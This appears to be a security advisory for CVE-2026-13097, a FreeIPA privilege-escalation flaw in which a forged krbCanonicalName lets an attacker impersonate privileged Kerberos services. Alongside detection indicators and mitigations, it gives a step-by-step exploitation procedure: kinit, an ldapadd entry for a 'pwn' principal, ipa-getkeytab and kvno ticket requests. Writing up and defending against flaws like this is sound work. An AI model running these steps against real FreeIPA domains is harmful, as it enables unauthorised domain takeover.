CVE-2026-13097: 
NixOS vulnerability analysis and mitigation

CVE-2026-13097 is a privilege escalation vulnerability in FreeIPA (Red Hat's ipa package) caused by improper uniqueness enforcement of Kerberos principal name attributes in the 389-ds directory server. The flaw allows a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one by exploiting equivalent representations of the same principal name (e.g., omitting the REALM component from krbCanonicalName). Affected software includes FreeIPA (confirmed on version 4.12.2) and Red Hat Enterprise Linux products shipping the ipa package. The vulnerability was reported on August 14, 2026, and publicly disclosed on August 20, 2026. It carries a CVSS v3.1 base score of 9.1 (Critical) (Red Hat CVE, GitHub Advisory).

The root cause is classified as CWE-706 (Use of Incorrectly-Resolved Name or Reference): the 389-ds LDAP directory server enforces uniqueness on krbPrincipalName attributes without accounting for realm-unaware or canonically equivalent representations of the same Kerberos principal (Red Hat CVE). An attacker with LDAP write access (e.g., a computer account or an account with broad directory write rights) can create a new service principal entry and set its krbCanonicalName attribute to the value of an existing privileged principal — omitting the REALM suffix — bypassing the uniqueness check. The KDC then resolves the canonical name to the privileged principal and issues valid Kerberos service tickets (e.g., for HTTP/, ldap/, host/, or krbtgt/ services) on behalf of the attacker-controlled principal. The Bugzilla report notes that even with PAC certificate validation enabled (introduced to mitigate related CVEs CVE-2025-4404 and CVE-2025-7493), service-prefix principals remain exploitable (Red Hat Bugzilla).

Successful exploitation allows an attacker with LDAP write privileges to acquire Kerberos service tickets for any sensitive service in the FreeIPA domain — including LDAP, HTTP, and Kerberos ticket-granting services — effectively impersonating privileged service accounts. This can result in full domain compromise, including unauthorized access to all domain-joined systems, sensitive directory data exfiltration, and the ability to forge or relay authentication credentials across the environment. Confidentiality, integrity, and availability are all rated High with a changed scope, reflecting the potential for cross-component impact beyond the initially compromised account (Red Hat CVE, GitHub Advisory).

As of disclosure, there is no public proof-of-concept exploit code and no confirmed in-the-wild exploitation (Red Hat CVE). However, the Bugzilla report includes a detailed step-by-step exploitation procedure submitted by the reporter (Vladislav Plyatsok, alias rd01f), which significantly lowers the barrier to weaponization (Red Hat Bugzilla). The EPSS score is currently 0.0, reflecting early-stage disclosure with no observed exploitation activity. The vulnerability is not listed in the CISA KEV catalog at this time. Exploitation requires high privileges (LDAP write access), but the impact scope is changed, making it attractive for insider threats or attackers who have already compromised a domain-joined host.

1. Obtain LDAP write access: Compromise or control a computer account (e.g., host/debi.red.corp) or any account with broad LDAP write privileges in the FreeIPA domain.
2. Authenticate via Kerberos: Use the compromised account's keytab to obtain a Kerberos ticket: kinit -k -t /etc/krb5.keytab host/debi.red.corp.
3. Create a malicious service principal: Use ldapadd to create a new service principal entry in the LDAP directory, setting krbCanonicalName to the target privileged principal's name without the REALM suffix (e.g., host/ipa.red.corp instead of host/ipa.red.corp@RED.CORP). This bypasses the realm-unaware uniqueness constraint in 389-ds:

ldapadd -H ldap://ipa.red.corp
dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp
ipaKrbPrincipalAlias: pwn/debi.red.corp
krbPrincipalName: pwn/debi.red.corp
objectClass: ipaKrbPrincipal objectClass: ipaService ...
krbCanonicalName: host/ipa.red.corp

4. Obtain a keytab for the malicious principal: ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI
5. Authenticate as the malicious principal: kinit -k -t pwn.keytab pwn/debi.red.corp
6. Request service tickets for privileged services: Use kvno to request tickets for sensitive services (e.g., kvno HTTP/ipa.red.corp, kvno ldap/ipa.red.corp). The KDC resolves krbCanonicalName to the privileged principal and issues valid tickets.
7. Leverage tickets for domain compromise: Use the acquired service tickets to authenticate to domain services (LDAP, HTTP, etc.) as the privileged principal, enabling lateral movement and full domain takeover (Red Hat Bugzilla).

• LDAP/Directory: Unexpected service principal entries in cn=services,cn=accounts with a krbCanonicalName value that does not include a REALM suffix or that matches an existing privileged principal; new entries with permissive ACIs (e.g., allow (all) userdn = "ldap:///anyone").
• Kerberos Logs: KDC logs showing service ticket issuance for sensitive services (e.g., HTTP/, ldap/, host/, krbtgt/) to unfamiliar or unexpected client principals; kvno requests from non-standard service accounts.
• LDAP Access Logs: ldapadd operations originating from computer accounts or non-admin users targeting cn=services,cn=accounts; modifications to krbCanonicalName or krbPrincipalName attributes on service entries.
• File System: Unexpected .keytab files (e.g., pwn.keytab) created on domain-joined hosts, particularly in non-standard directories.
• Process/Command: Execution of ipa-getkeytab, kinit, kvno, or ldapadd by non-administrative or computer accounts, especially in sequence (Red Hat Bugzilla).

Red Hat has acknowledged the vulnerability and a patch is noted as available (Feedly patch details reference the Bugzilla and GitHub Advisory), but as of disclosure the Red Hat Customer Portal states that no mitigation meeting their deployment criteria is currently available (Red Hat CVE). Administrators should take the following interim steps:

• Restrict LDAP write privileges: Limit ldapadd/ldapmodify rights to only trusted administrators; audit and remove unnecessary write ACIs from computer and service accounts.
• Audit existing service principals: Review all entries in cn=services,cn=accounts for unexpected krbCanonicalName values, particularly those lacking a REALM suffix or matching privileged principals.
• Monitor Kerberos ticket issuance: Alert on service ticket requests for sensitive services (LDAP, HTTP, krbtgt) from unexpected principals.
• Apply vendor patches: Monitor Red Hat advisories for errata releases addressing this CVE and apply promptly (Red Hat CVE, Red Hat Bugzilla).

The vulnerability was credited to researcher Vladislav Plyatsok (alias rd01f) by Red Hat Product Security (Red Hat CVE). The Bugzilla report notes that the issue is considered "much more dangerous" than related prior CVEs (CVE-2025-4404 and CVE-2025-7493) because it remains exploitable even with PAC certificate validation enabled (Red Hat Bugzilla). Early social media activity was observed on Mastodon shortly after disclosure, and the CVE was picked up by multiple vulnerability tracking platforms within hours of publication.